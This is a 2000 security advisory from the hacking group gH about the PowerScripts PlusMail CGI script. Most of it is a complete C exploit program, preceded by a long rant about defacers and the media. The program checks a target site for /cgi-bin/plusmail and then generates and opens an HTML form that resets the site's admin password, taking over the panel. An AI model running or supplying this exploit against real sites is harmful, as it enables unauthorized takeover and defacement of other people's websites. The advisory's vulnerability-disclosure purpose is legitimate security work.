PowerScripts PlusMail Vulnerablity

[phed () FELONS ORG (YT Cracker)]

A few of us were toying with the popular PowerScripts PlusMail cgi script a few days ago.  After mistakenly attempting 
to get this posted through the wrong channels[out of ignorance?], I *hope* I have it right this time.

In any case this is a very serious vulnerablility and needs to be addressed.  The information is below.

Regards,
YTCracker

p.s.  The system() calls will allow you to exploit my exploit ;).  execv() > *.

/*

[gH Security Advisory]

software affected:      PowerScripts PlusMail
versions affected:      All versions to current.
discussion:             Read report below.

*/

/*

[gH-plus.c]

title:          [gH plusmail vulnerability]
date:           01.20.2000
author:         ytcracker of gH [phed () felons org]
comments:       plusmail is an extremely popular cgi-based administration
                tool that allows you to take control of your website
                with a graphical control panel interface.  the password
                file, however, is set with permissions rw enabled,
                therefore granting the authority to change the password
                whenever's clever.
                the following code will detect the vulnerability and
                generate the required html to exploit.
shouts:         seven one nine.  all of gH.  www.mp3.com/category5.
                herf () ghettophreaks org for finding vulnerability.

[Advisory Information]

written by:     mosthated of gH [most () pure-security net]
vulnerable:     So far, any environment running Plusmail.
report:         Noticed plusmail running on multiple operating systems.
                The vulnerability lies in the web based tool, which
                now that is easily exploited, gives you "ADVANCED CONTROL"
                of a target website.  Below is the code by ytcracker of gH,
                which demonstrates how easy it is to generate the html code
                which is executed by your web browser to compromise the
                target host.  We have noticed this PlusMail program is widely
                used, but have yet to succeed in finding the main site for
                PlusMail to acknowledge the developers of the remote 
                vulnerability.

                Most likely this will be ripped out during the online trading,
                because of script kids not likely this factual addition, but 
                never the less, it will be expressed.  This exploit was written 
                to acknowledge security weaknesses, but in no way promotes web 
                page defacments.  If you further use this program to gain access 
                to anything not normally accessable by yourself, meaning you 
                script kids, then you are subject to be prosecuted and even get 
                10 years in prison.  Is it honestly worth it to compile this program 
                and randomly ./hack sites and deface them with this half way 
                automatted program to put your nick & group on it?  
                The answer is NO.  gh/global hell.. Heard of us?? Seen us on TV??
                Read about us?? Most likely..   We've changed and gained knowledge 
                from the experience....Been there done that..  The world didn't
                believe that a group like this could completely go legit, the IT
                professionals figured we would retaliate against the fbi and the
                world was scared by misleading media articles about how we are
                terrorist and destructive teens.  I ask the world now, who is helping
                who?  Did the media find this vulnerability?  Did the stereotypist
                who label us as "cyber gang members" find this vulnerability and allow
                networks around the world to be patched before so called "destructive
                hackers" gained access to them.  Answer yet again, NO, we did, not you
                who falsely claim to be helping with security.  Your defacements don't
                help anything, we thought it did before as well, now we realized that
                it does nothing positive.  You stereotypists know nothing about gH, yet
                can write articles, you're wrong.  You people think so much that you know
                so much about hackers.  You know nothing, what you think you know, is
                wrong.  What you don't know about us, the information is right under
                your nose, yet you still can't put your finger on it.  Their are 2 sides
                to the so called "hacking scene", you people should realize there will
                always be a good and a bad side to most matters.  Don't exploit the
                fact that you don't know anything about the whole situation, just face 
                the real fact, our knowledge could be a great help to all, why not
                accept us as normal people, not untrue off the wall assumptions.
                If you use programs like this to deface sites, think before you use
                this one, because we have been through the childish fights online
                and expressed our feelings, we are still where we started, from square
                one and would not have gone any farther, until we realized that what we
                were doing was stupid, pathetic, futureless and illegal.  Choose
                your path wisely, either stop the script kiddie bullshit or get 
                your door kicked in, you decide.
fix:            Move/rename the PlusMail directory as a temporary fix.

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <ctype.h>
#include <fcntl.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
        int sock;
        unsigned long vulnip;

        struct in_addr addr;
        struct sockaddr_in sin;
        struct hostent *he;
                                                                             
        char *detect;
        char buffer[1024];
        char plusvuln[]="GET /cgi-bin/plusmail HTTP/1.0\n\n";
        char htmI[]="<html><head><title>[gH plusmail exploit]</title></head><form action=\"http://";;
        char htmII[]="/cgi-bin/plusmail\" method=\"post\"><p>username: <input type=\"text\" 
name=\"username\"><br>password: <input type=\"password\" name=\"password\"><br>retype password: <input 
type=\"password\" name=\"password1\"></p><p><input type=\"submit\" name=\"new_login\" value=\"reset 
password\"></p></form><p><a href=\"http://pure-security.net\";>Pure Security Networks</a></p></body></html>";

        FILE *html;

        printf("\n [gH plusmail exploit] [ytcracker] [phed () felons org]\n");

        if(argc<2)
        {
                printf(" usage: %s [vulnerable website]\n\n",argv[0]);
                exit(0);
        }

        if ((he=gethostbyname(argv[1])) == NULL)
        {
                herror("gethostbyname");
                exit(0);
        }

        vulnip=inet_addr(argv[1]);
        vulnip=ntohl(vulnip);

        sock=socket(AF_INET, SOCK_STREAM, 0);
        bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
        sin.sin_family=AF_INET;
        sin.sin_port=htons(80);

        if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
        {  
                perror("connect");
        }

        send(sock, plusvuln,strlen(plusvuln),0);
        recv(sock, buffer, sizeof(buffer),0);
        detect = strstr(buffer,"404");
        close(sock);
     
        if( detect != NULL)
        {
                printf(" vulnerabilty not detected.\n");
                exit(0);
        }
        else
                printf(" vulnerability detected.  generating html...\n");
        
        html=fopen("plus.html","w+b");
        fprintf(html,"%s",htmI);
        fprintf(html,"%s",argv[1]);
        fprintf(html,"%s",htmII);
        fclose(html);

        printf(" spawning lynx...\n");

        system("lynx plus.html");
        return 0;
}